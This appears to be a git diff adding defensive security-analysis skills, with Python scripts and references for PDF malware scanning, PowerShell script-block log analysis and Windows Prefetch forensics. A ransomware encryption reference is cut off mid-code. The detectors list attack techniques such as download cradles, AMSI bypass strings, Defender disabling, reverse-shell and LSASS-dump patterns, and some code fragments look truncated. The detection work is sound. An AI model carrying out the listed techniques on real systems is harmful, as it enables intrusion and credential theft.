-0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-pdf-malware-with-pdfid/references/api-reference.md b/skills/analyzing-pdf-malware-with-pdfid/references/api-reference.md new file mode 100644 index 00000000..d0c06d07 --- /dev/null +++ b/skills/analyzing-pdf-malware-with-pdfid/references/api-reference.md @@ -0,0 +1,119 @@ +# API Reference: PDF Malware Analysis Tools + +## PDFiD - PDF Keyword Scanner + +### Syntax +```bash +pdfid.py document.pdf +pdfid.py -n document.pdf # Show all keywords (including zero counts) +pdfid.py -e document.pdf # Extra data (entropy) +pdfid.py -f document.pdf # Force scan (ignore header) +``` + +### Suspicious Keywords +| Keyword | Risk | Description | +|---------|------|-------------| +| `/JS` | HIGH | JavaScript code | +| `/JavaScript` | HIGH | JavaScript action | +| `/AA` | HIGH | Additional Actions (auto-execute) | +| `/OpenAction` | HIGH | Action on document open | +| `/Launch` | HIGH | Launch external application | +| `/EmbeddedFile` | MEDIUM | Embedded file object | +| `/AcroForm` | MEDIUM | Interactive form | +| `/JBIG2Decode` | HIGH | JBIG2 exploit vector (CVE-2009-0658) | +| `/RichMedia` | MEDIUM | Flash/multimedia content | +| `/XFA` | MEDIUM | XML Forms (script capable) | +| `/ObjStm` | LOW | Object streams (can hide objects) | + +### Output Format +``` +PDF Header: %PDF-1.7 + obj 45 + endobj 45 + stream 12 + /JS 2 + /JavaScript 1 + /OpenAction 1 + /EmbeddedFile 0 +``` + +## pdf-parser.py - PDF Object Parser + +### Syntax +```bash +pdf-parser.py document.pdf # List all objects +pdf-parser.py -o 5 document.pdf # Show object 5 +pdf-parser.py -s "/JS" document.pdf # Search for keyword +pdf-parser.py -f document.pdf # Filter streams +pdf-parser.py -c document.pdf # Show raw content +pdf-parser.py -d 5 document.pdf # Dump stream of object 5 +pdf-parser.py --object 5 --filter document.pdf # Decompress stream +``` + +## peepdf - Interactive PDF Analysis + +### Syntax +```bash +peepdf -i document.pdf # Interactive mode +peepdf -f document.pdf # Force analysis +peepdf -l document.pdf # Loose mode +``` + +### Interactive Commands +``` +info # Document summary +tree # Object tree +object 5 # Show object +stream 5 # Show stream content +js_analyse # Analyze all JavaScript +extract js > output.js # Extract JavaScript +``` + +## Known PDF Exploit CVEs + +| CVE | Component | Description | +|-----|-----------|-------------| +| CVE-2009-0658 | JBIG2Decode | Buffer overflow in JBIG2 decoder | +| CVE-2009-0927 | Collab.getIcon | JavaScript method exploit | +| CVE-2008-2992 | util.printf | Format string vulnerability | +| CVE-2010-0188 | LibTIFF | TIFF image processing overflow | +| CVE-2013-0640 | XFA | XML Forms Architecture exploit | +| CVE-2018-4990 | EmbeddedFile | Double-free in embedded files | + +## YARA Rules for PDF Malware + +### Example Rule +```yara +rule PDF_Suspicious { + meta: + description = "PDF with JavaScript and auto-execution" + strings: + $pdf = "%PDF-" + $js = "/JS" nocase + $openaction = "/OpenAction" + $launch = "/Launch" + condition: + $pdf at 0 and ($js and $openaction) or $launch +} +``` + +## Python PDF Libraries + +### PyPDF2 +```python +from PyPDF2 import PdfReader +reader = PdfReader("document.pdf") +print(len(reader.pages)) +for page in reader.pages: + print(page.extract_text()) +``` + +### pikepdf +```python +import pikepdf +pdf = pikepdf.open("document.pdf") +for obj_num in pdf.objects: + obj = pdf.get_object(obj_num) + if "/JS" in str(obj): + print(f"JavaScript in object {obj_num}") +``` diff --git a/skills/analyzing-pdf-malware-with-pdfid/scripts/agent.py b/skills/analyzing-pdf-malware-with-pdfid/scripts/agent.py new file mode 100644 index 00000000..c76db832 --- /dev/null +++ b/skills/analyzing-pdf-malware-with-pdfid/scripts/agent.py @@ -0,0 +1,242 @@ +#!/usr/bin/env python3 +"""PDF malware analysis agent using pdfid concepts and pdf-parser for object extraction.""" + +import re +import os +import sys +import hashlib +import json +import zlib +import struct + + +def compute_hash(filepath): + """Compute SHA-256 hash of a file.""" + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + sha256.update(chunk) + return sha256.hexdigest() + + +PDF_SUSPICIOUS_KEYWORDS = { + "/JS": "JavaScript (embedded script execution)", + "/JavaScript": "JavaScript action", + "/AA": "Additional Actions (auto-execute triggers)", + "/OpenAction": "Action on document open", + "/AcroForm": "Interactive form (can contain JavaScript)", + "/JBIG2Decode": "JBIG2 decoder (CVE-2009-0658 exploit vector)", + "/RichMedia": "Rich media / Flash content", + "/Launch": "Launch action (execute external file)", + "/EmbeddedFile": "Embedded file (potential payload)", + "/XFA": "XML Forms Architecture (script execution)", + "/URI": "URI action (external link)", + "/SubmitForm": "Form submission (data exfiltration)", + "/ObjStm": "Object Stream (can hide objects from basic parsers)", +} + + +def scan_pdf_keywords(filepath): + """Scan a PDF file for suspicious keywords similar to pdfid.""" + with open(filepath, "rb") as f: + data = f.read() + + text = data.decode("latin-1", errors="replace") + results = {} + for keyword, description in PDF_SUSPICIOUS_KEYWORDS.items(): + count = text.count(keyword) + if count > 0: + results[keyword] = {"count": count, "description": description} + + # Count standard PDF structure elements + structure = { + "obj": len(re.findall(r"\d+ \d+ obj", text)), + "endobj": text.count("endobj"), + "stream": text.count("stream"), + "endstream": text.count("endstream"), + "xref": text.count("xref"), + "trailer": text.count("trailer"), + "startxref": text.count("startxref"), + "page_count": len(re.findall(r"/Type\s*/Page[^s]", text)), + "encrypted": 1 if "/Encrypt" in text else 0, + } + return results, structure + + +def extract_pdf_version(filepath): + """Extract the PDF version from the header.""" + with open(filepath, "rb") as f: + header = f.read(20) + match = re.search(rb"%PDF-(\d+\.\d+)", header) + return match.group(1).decode() if match else "unknown" + + +def find_stream_objects(filepath): + """Find and extract stream objects from the PDF.""" + with open(filepath, "rb") as f: + data = f.read() + + streams = [] + pattern = rb"(\d+)\s+(\d+)\s+obj.*?stream\r?\n(.*?)endstream" + for match in re.finditer(pattern, data, re.DOTALL): + obj_num = int(match.group(1)) + gen_num = int(match.group(2)) + stream_data = match.group(3) + decoded = None + try: + decoded = zlib.decompress(stream_data) + except zlib.error: + pass + streams.append({ + "object": f"{obj_num} {gen_num}", + "raw_size": len(stream_data), + "decoded_size": len(decoded) if decoded else 0, + "decodable": decoded is not None, + "preview": (decoded[:200] if decoded else stream_data[:200]).decode( + "latin-1", errors="replace"), + }) + return streams + + +def extract_javascript(filepath): + """Extract JavaScript code from PDF objects.""" + with open(filepath, "rb") as f: + data = f.read() + text = data.decode("latin-1", errors="replace") + + js_blocks = [] + # Look for JavaScript in stream objects + js_pattern = re.compile(r"/JS\s*\((.*?)\)", re.DOTALL) + for match in js_pattern.finditer(text): + js_blocks.append({"type": "inline", "code": match.group(1)[:500]}) + + # Look for JavaScript in hex-encoded strings + hex_pattern = re.compile(r"/JS\s*<([0-9A-Fa-f]+)>") + for match in hex_pattern.finditer(text): + try: + decoded = bytes.fromhex(match.group(1)).decode("utf-8", errors="replace") + js_blocks.append({"type": "hex_encoded", "code": decoded[:500]}) + except ValueError: + pass + return js_blocks + + +def extract_urls(filepath): + """Extract URLs from the PDF content.""" + with open(filepath, "rb") as f: + data = f.read() + text = data.decode("latin-1", errors="replace") + urls = list(set(re.findall(r"https?://[^\s<>\"')\]]+", text))) + return urls + + +def detect_exploits(keywords, streams): + """Check for known PDF exploit indicators.""" + exploits = [] + if "/JBIG2Decode" in keywords: + exploits.append({ + "cve": "CVE-2009-0658", + "description": "JBIG2 decoder vulnerability in Adobe Reader", + "confidence": "MEDIUM", + }) + for stream in streams: + preview = stream.get("preview", "").lower() + if "shellcode" in preview or "\\x90\\x90" in preview: + exploits.append({ + "cve": "Generic shellcode", + "description": "Potential shellcode detected in stream", + "confidence": "HIGH", + }) + if "util.printf" in preview or "collab.geticon" in preview: + exploits.append({ + "cve": "CVE-2008-2992 / CVE-2009-0927", + "description": "Known Adobe Reader JavaScript exploits", + "confidence": "HIGH", + }) + return exploits + + +def calculate_risk_score(keywords, structure, exploits, js_blocks): + """Calculate a risk score for the PDF.""" + score = 0 + if "/JS" in keywords or "/JavaScript" in keywords: + score += 30 + if "/OpenAction" in keywords or "/AA" in keywords: + score += 20 + if "/Launch" in keywords: + score += 25 + if "/EmbeddedFile" in keywords: + score += 15 + if "/JBIG2Decode" in keywords: + score += 20 + if structure.get("encrypted"): + score += 10 + score += len(exploits) * 20 + score += len(js_blocks) * 10 + return min(score, 100) + + +def generate_report(filepath, keywords, structure, streams, js_blocks, + urls, exploits, risk_score): + """Generate PDF malware analysis report.""" + return { + "file": filepath, + "sha256": compute_hash(filepath), + "size": os.path.getsize(filepath), + "pdf_version": extract_pdf_version(filepath), + "structure": structure, + "suspicious_keywords": keywords, + "streams": len(streams), + "javascript_blocks": len(js_blocks), + "urls_found": len(urls), + "exploit_indicators": exploits, + "risk_score": risk_score, + "risk_level": "HIGH" if risk_score >= 60 else "MEDIUM" if risk_score >= 30 else "LOW", + } + + +if __name__ == "__main__": + print("=" * 60) + print("PDF Malware Analysis Agent") + print("Keyword scanning, JavaScript extraction, exploit detection") + print("=" * 60) + + target = sys.argv[1] if len(sys.argv) > 1 else None + + if target and os.path.exists(target): + print(f"\n[*] Analyzing: {target}") + print(f"[*] SHA-256: {compute_hash(target)}") + print(f"[*] PDF version: {extract_pdf_version(target)}") + + print("\n--- Suspicious Keywords (pdfid-style) ---") + keywords, structure = scan_pdf_keywords(target) + for kw, info in keywords.items(): + print(f" [!] {kw}: {info['count']}x - {info['description']}") + + print(f"\n--- Structure ---") + for key, val in structure.items(): + print(f" {key}: {val}") + + print("\n--- Stream Objects ---") + streams = find_stream_objects(target) + print(f" Found: {len(streams)} streams") + + print("\n--- JavaScript Extraction ---") + js = extract_javascript(target) + for j in js: + print(f" [{j['type']}] {j['code'][:100]}...") + + print("\n--- URLs ---") + urls = extract_urls(target) + for u in urls[:10]: + print(f" {u}") + + print("\n--- Exploit Detection ---") + exploits = detect_exploits(keywords, streams) + for e in exploits: + print(f" [{e['confidence']}] {e['cve']}: {e['description']}") + + risk = calculate_risk_score(keywords, structure, exploits, js) + print(f"\n[*] Risk Score: {risk}/100") + else: + print(f"\n[DEMO] Usage: python agent.py ") diff --git a/skills/analyzing-phishing-email-headers/LICENSE b/skills/analyzing-phishing-email-headers/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-phishing-email-headers/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-powershell-script-block-logging/LICENSE b/skills/analyzing-powershell-script-block-logging/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-powershell-script-block-logging/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-powershell-script-block-logging/SKILL.md b/skills/analyzing-powershell-script-block-logging/SKILL.md new file mode 100644 index 00000000..81722676 --- /dev/null +++ b/skills/analyzing-powershell-script-block-logging/SKILL.md @@ -0,0 +1,37 @@ +--- +name: analyzing-powershell-script-block-logging +description: >- + Parse Windows PowerShell Script Block Logs (Event ID 4104) from EVTX files to detect obfuscated + commands, encoded payloads, and living-off-the-land techniques. Uses python-evtx to extract and + reconstruct multi-block scripts, applies entropy analysis and pattern matching for Base64-encoded + commands, Invoke-Expression abuse, download cradles, and AMSI bypass attempts. +--- + +## Instructions + +1. Install dependencies: `pip install python-evtx lxml` +2. Collect PowerShell Operational logs: `Microsoft-Windows-PowerShell%4Operational.evtx` +3. Parse Event ID 4104 entries using python-evtx to extract ScriptBlockText, ScriptBlockId, and MessageNumber/MessageTotal for multi-part script reconstruction. +4. Apply detection heuristics: + - Base64-encoded commands (`-EncodedCommand`, `FromBase64String`) + - Download cradles (`DownloadString`, `DownloadFile`, `Invoke-WebRequest`, `Net.WebClient`) + - AMSI bypass patterns (`AmsiUtils`, `amsiInitFailed`) + - Obfuscation indicators (high entropy, tick-mark insertion, string concatenation) +5. Generate a report with reconstructed scripts, risk scores, and MITRE ATT&CK mappings. + +```bash +python scripts/agent.py --evtx-file /path/to/PowerShell-Operational.evtx --output ps_analysis.json +``` + +## Examples + +### Detect Encoded Command Execution +```python +import base64 +if "-encodedcommand" in script_text.lower(): + encoded = script_text.split()[-1] + decoded = base64.b64decode(encoded).decode("utf-16-le") +``` + +### Reconstruct Multi-Block Script +Scripts split across multiple 4104 events share a `ScriptBlockId`. Concatenate blocks ordered by `MessageNumber` to recover the full script. diff --git a/skills/analyzing-powershell-script-block-logging/references/api-reference.md b/skills/analyzing-powershell-script-block-logging/references/api-reference.md new file mode 100644 index 00000000..da14f09c --- /dev/null +++ b/skills/analyzing-powershell-script-block-logging/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: PowerShell Script Block Logging Analysis + +## python-evtx Library + +### FileHeader +```python +from Evtx.Evtx import FileHeader +with open(evtx_path, "rb") as f: + fh = FileHeader(f) + for record in fh.records(): + xml_string = record.xml() # Returns XML string of the event +``` + +### Event XML Structure (Event ID 4104) +```xml + + + 4104 + + + + 1 + 3 + ...powershell code... + guid-string + C:\script.ps1 + + +``` + +## lxml etree Parsing +```python +from lxml import etree +NS = {"evt": "http://schemas.microsoft.com/win/2004/08/events/event"} +root = etree.fromstring(xml_bytes) +event_id = root.find(".//evt:System/evt:EventID", NS).text +data_elems = root.findall(".//evt:EventData/evt:Data", NS) +for elem in data_elems: + name = elem.get("Name") + value = elem.text +``` + +## Script Block Reconstruction +Large PowerShell scripts are split across multiple Event 4104 entries: +- `ScriptBlockId`: Unique GUID shared across all parts +- `MessageNumber`: Part index (1-based) +- `MessageTotal`: Total number of parts +- Reconstruct: concatenate parts ordered by MessageNumber + +## Key Detection Patterns +| Pattern | MITRE | Risk | +|---------|-------|------| +| `-EncodedCommand` | T1059.001 | High | +| `FromBase64String` | T1140 | High | +| `Invoke-Expression` / `iex` | T1059.001 | High | +| `DownloadString` / `Net.WebClient` | T1105 | Critical | +| `AmsiUtils` / `amsiInitFailed` | T1562.001 | Critical | +| `Invoke-Mimikatz` | T1003 | Critical | +| High entropy (>5.5) | T1027 | Medium | diff --git a/skills/analyzing-powershell-script-block-logging/scripts/agent.py b/skills/analyzing-powershell-script-block-logging/scripts/agent.py new file mode 100644 index 00000000..2ef6967c --- /dev/null +++ b/skills/analyzing-powershell-script-block-logging/scripts/agent.py @@ -0,0 +1,195 @@ +#!/usr/bin/env python3 +"""PowerShell Script Block Logging Analyzer - Parses Event 4104 from EVTX for obfuscated commands.""" + +import json +import math +import re +import base64 +import logging +import argparse +from collections import defaultdict +from datetime import datetime + +from Evtx.Evtx import FileHeader +from lxml import etree + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +NS = {"evt": "http://schemas.microsoft.com/win/2004/08/events/event"} + +SUSPICIOUS_PATTERNS = [ + (r"(?i)\-[Ee]ncoded[Cc]ommand", "Encoded command parameter", "T1059.001", "high"), + (r"(?i)FromBase64String", "Base64 decoding", "T1140", "high"), + (r"(?i)(Invoke-Expression|iex)\s*\(", "Invoke-Expression execution", "T1059.001", "high"), + (r"(?i)(DownloadString|DownloadFile|Invoke-WebRequest|wget|curl)", "Download cradle", "T1105", "critical"), + (r"(?i)(Net\.WebClient|WebRequest\.Create)", "Network client instantiation", "T1071.001", "high"), + (r"(?i)(AmsiUtils|amsiInitFailed|AmsiScanBuffer)", "AMSI bypass attempt", "T1562.001", "critical"), + (r"(?i)(Invoke-Mimikatz|Invoke-Kerberoast|Invoke-TokenManipulation)", "Offensive PowerShell tool", "T1003", "critical"), + (r"(?i)(Add-MpPreference\s*-ExclusionPath)", "Defender exclusion", "T1562.001", "high"), + (r"(?i)(Set-MpPreference\s*-DisableRealtimeMonitoring)", "Defender disable", "T1562.001", "critical"), + (r"(?i)(New-Object\s+System\.Net\.Sockets\.TCPClient)", "Reverse shell pattern", "T1059.001", "critical"), + (r"(?i)(Get-Process\s+lsass|MiniDump)", "LSASS dump attempt", "T1003.001", "critical"), + (r"(?i)(ConvertTo-SecureString|PSCredential)", "Credential handling", "T1078", "medium"), +] + + +def calculate_entropy(text): + """Calculate Shannon entropy of a string to detect obfuscation.""" + if not text: + return 0.0 + freq = defaultdict(int) + for char in text: + freq[char] += 1 + length = len(text) + return -sum((count / length) * math.log2(count / length) for count in freq.values()) + + +def parse_evtx_4104(evtx_path): + """Parse Event ID 4104 entries from a PowerShell Operational EVTX file.""" + script_blocks = defaultdict(dict) + with open(evtx_path, "rb") as f: + fh = FileHeader(f) + for record in fh.records(): + try: + xml = record.xml() + root = etree.fromstring(xml.encode("utf-8")) + event_id_elem = root.find(".//evt:System/evt:EventID", NS) + if event_id_elem is None or event_id_elem.text != "4104": + continue + event_data = {} + for data_elem in root.findall(".//evt:EventData/evt:Data", NS): + name = data_elem.get("Name", "") + event_data[name] = data_elem.text or "" + script_block_id = event_data.get("ScriptBlockId", "") + message_number = int(event_data.get("MessageNumber", "1")) + message_total = int(event_data.get("MessageTotal", "1")) + script_text = event_data.get("ScriptBlockText", "") + time_elem = root.find(".//evt:System/evt:TimeCreated", NS) + timestamp = time_elem.get("SystemTime", "") if time_elem is not None else "" + if script_block_id not in script_blocks: + script_blocks[script_block_id] = { + "parts": {}, + "total": message_total, + "timestamp": timestamp, + "path": event_data.get("Path", ""), + } + script_blocks[script_block_id]["parts"][message_number] = script_text + except Exception: + continue + logger.info("Parsed %d unique script blocks from %s", len(script_blocks), evtx_path) + return script_blocks + + +def reconstruct_scripts(script_blocks): + """Reconstruct full scripts from multi-part script block entries.""" + reconstructed = [] + for block_id, block_data in script_blocks.items(): + parts = block_data["parts"] + total = block_data["total"] + ordered = [parts.get(i, "") for i in range(1, total + 1)] + full_script = "".join(ordered) + reconstructed.append({ + "script_block_id": block_id, + "timestamp": block_data["timestamp"], + "path": block_data["path"], + "part_count": total, + "script_text": full_script, + "length": len(full_script), + }) + logger.info("Reconstructed %d complete scripts", len(reconstructed)) + return reconstructed + + +def decode_base64_commands(script_text): + """Attempt to decode Base64-encoded command strings found in scripts.""" + decoded_commands = [] + b64_pattern = re.compile(r"[A-Za-z0-9+/=]{40,}") + for match in b64_pattern.finditer(script_text): + try: + decoded = base64.b64decode(match.group()).decode("utf-16-le", errors="ignore") + if any(c.isalpha() for c in decoded[:20]): + decoded_commands.append({"encoded": match.group()[:60], "decoded": decoded[:500]}) + except Exception: + continue + return decoded_commands + + +def analyze_script(script_entry): + """Analyze a single reconstructed script for suspicious patterns.""" + text = script_entry["script_text"] + findings = [] + for pattern, description, mitre, severity in SUSPICIOUS_PATTERNS: + matches = re.findall(pattern, text) + if matches: + findings.append({ + "pattern": description, + "mitre_technique": mitre, + "severity": severity, + "match_count": len(matches), + "sample": matches[0][:100] if matches else "", + }) + entropy = calculate_entropy(text) + if entropy > 5.5 and len(text) > 200: + findings.append({ + "pattern": "High entropy (possible obfuscation)", + "mitre_technique": "T1027", + "severity": "medium", + "entropy": round(entropy, 2), + }) + decoded = decode_base64_commands(text) + if decoded: + findings.append({ + "pattern": "Base64-encoded content decoded", + "mitre_technique": "T1140", + "severity": "high", + "decoded_count": len(decoded), + "samples": decoded[:3], + }) + return findings + + +def generate_report(scripts, all_findings): + """Generate PowerShell script block analysis report.""" + critical = sum(1 for f in all_findings if any(ff["severity"] == "critical" for ff in f["findings"])) + report = { + "timestamp": datetime.utcnow().isoformat(), + "total_scripts": len(scripts), + "suspicious_scripts": len([f for f in all_findings if f["findings"]]), + "critical_scripts": critical, + "findings": all_findings[:50], + } + print(f"PS SCRIPT BLOCK REPORT: {len(scripts)} scripts, {critical} critical") + return report + + +def main(): + parser = argparse.ArgumentParser(description="PowerShell Script Block Logging Analyzer") + parser.add_argument("--evtx-file", required=True, help="Path to PowerShell Operational EVTX") + parser.add_argument("--output", default="ps_analysis.json") + args = parser.parse_args() + + blocks = parse_evtx_4104(args.evtx_file) + scripts = reconstruct_scripts(blocks) + + all_findings = [] + for script in scripts: + findings = analyze_script(script) + if findings: + all_findings.append({ + "script_block_id": script["script_block_id"], + "timestamp": script["timestamp"], + "path": script["path"], + "length": script["length"], + "findings": findings, + "script_preview": script["script_text"][:300], + }) + + report = generate_report(scripts, all_findings) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-prefetch-files-for-execution-history/LICENSE b/skills/analyzing-prefetch-files-for-execution-history/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-prefetch-files-for-execution-history/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-prefetch-files-for-execution-history/references/api-reference.md b/skills/analyzing-prefetch-files-for-execution-history/references/api-reference.md new file mode 100644 index 00000000..dd7a786b --- /dev/null +++ b/skills/analyzing-prefetch-files-for-execution-history/references/api-reference.md @@ -0,0 +1,116 @@ +# API Reference: Windows Prefetch Analysis Tools + +## Prefetch File Format + +### Location +``` +C:\Windows\Prefetch\ +``` + +### Filename Convention +``` +EXECUTABLE_NAME-XXXXXXXX.pf +``` +- `EXECUTABLE_NAME` - Uppercase name of the executed program +- `XXXXXXXX` - Hash of the executable path (8 hex characters) +- `.pf` - Prefetch file extension + +### Version History +| Version | Windows OS | Notes | +|---------|-----------|-------| +| 17 | XP | Basic format | +| 23 | Vista, 7 | Added run count, timestamps | +| 26 | 8, 8.1 | Extended timestamps (8 entries) | +| 30 | 10, 11 | MAM compressed, 8 timestamps | + +### Header Structure (Uncompressed) +| Offset | Size | Field | +|--------|------|-------| +| 0 | 4 | Version | +| 4 | 4 | Signature (SCCA) | +| 12 | 4 | File size | +| 16 | 60 | Executable name (UTF-16LE) | +| 76 | 4 | Prefetch hash | + +## PECmd (Eric Zimmerman) - Full Parser + +### Syntax +```bash +PECmd.exe -f # Single file +PECmd.exe -d # Entire directory +PECmd.exe -d --csv # Export to CSV +PECmd.exe -d --json # Export to JSON +PECmd.exe -f -q # Quiet mode +``` + +### Output Fields +| Field | Description | +|-------|-------------| +| `SourceFilename` | Original executable path | +| `RunCount` | Number of times executed | +| `LastRun` | Most recent execution timestamp | +| `PreviousRun0-7` | Up to 8 previous run timestamps (Win8+) | +| `FilesLoaded` | DLLs and files accessed during execution | +| `Directories` | Directories accessed | +| `VolumeSerialNumber` | Volume where executable resided | + +## WinPrefetchView (NirSoft) + +### GUI Features +- Lists all prefetch files with execution details +- Shows run count, timestamps, referenced files +- Export to CSV, HTML, or text +- Sort by any column for analysis + +## Python Prefetch Parsing + +### Structure Parsing +```python +import struct + +with open("APP.EXE-HASH.pf", "rb") as f: + data = f.read() + +version = struct.unpack_from(" prefetch_timeline.csv +``` diff --git a/skills/analyzing-prefetch-files-for-execution-history/scripts/agent.py b/skills/analyzing-prefetch-files-for-execution-history/scripts/agent.py new file mode 100644 index 00000000..c3fab16b --- /dev/null +++ b/skills/analyzing-prefetch-files-for-execution-history/scripts/agent.py @@ -0,0 +1,216 @@ +#!/usr/bin/env python3 +"""Windows Prefetch file analysis agent for program execution history forensics.""" + +import struct +import os +import sys +import hashlib +import datetime +import json +import glob + + +def parse_prefetch_header(filepath): + """Parse the Prefetch file header to extract execution metadata.""" + with open(filepath, "rb") as f: + data = f.read() + + # Check for compression (Windows 10 prefetch files are MAM compressed) + if data[:4] == b"MAM\x04": + # Windows 10 compressed format - need decompression + return {"error": "Compressed prefetch (Windows 10 MAM format) - use PECmd for full parsing", + "compressed": True, "raw_size": len(data)} + + # Standard prefetch header (versions 17, 23, 26, 30) + if len(data) < 84: + return {"error": "File too small to be a valid prefetch file"} + + version = struct.unpack_from(" # Analyze all .pf files") + print(f" python agent.py # Analyze single prefetch file") diff --git a/skills/analyzing-ransomware-encryption-mechanisms/LICENSE b/skills/analyzing-ransomware-encryption-mechanisms/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-ransomware-encryption-mechanisms/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-ransomware-encryption-mechanisms/references/api-reference.md b/skills/analyzing-ransomware-encryption-mechanisms/references/api-reference.md new file mode 100644 index 00000000..962dc8a4 --- /dev/null +++ b/skills/analyzing-ransomware-encryption-mechanisms/references/api-reference.md @@ -0,0 +1,147 @@ +# API Reference: Ransomware Encryption Mechanism Analysis + +## PyCryptodome - Encryption Testing + +### AES Decryption +```python +from Crypto.Cipher import AES + +# AES-CBC +cipher = AES.new(key, AES.MODE_CBC, iv) +plaintext = cipher.decrypt(ciphertext) + +# AES-CTR +cipher = AES.new(key, AES.MODE_CTR, nonce=nonce) +plaintext = cipher.decrypt(ciphertext) + +# AES-ECB (weak mode used by some ransomware) +cipher = AES.new(key, AES.MODE_ECB) +plaintext = 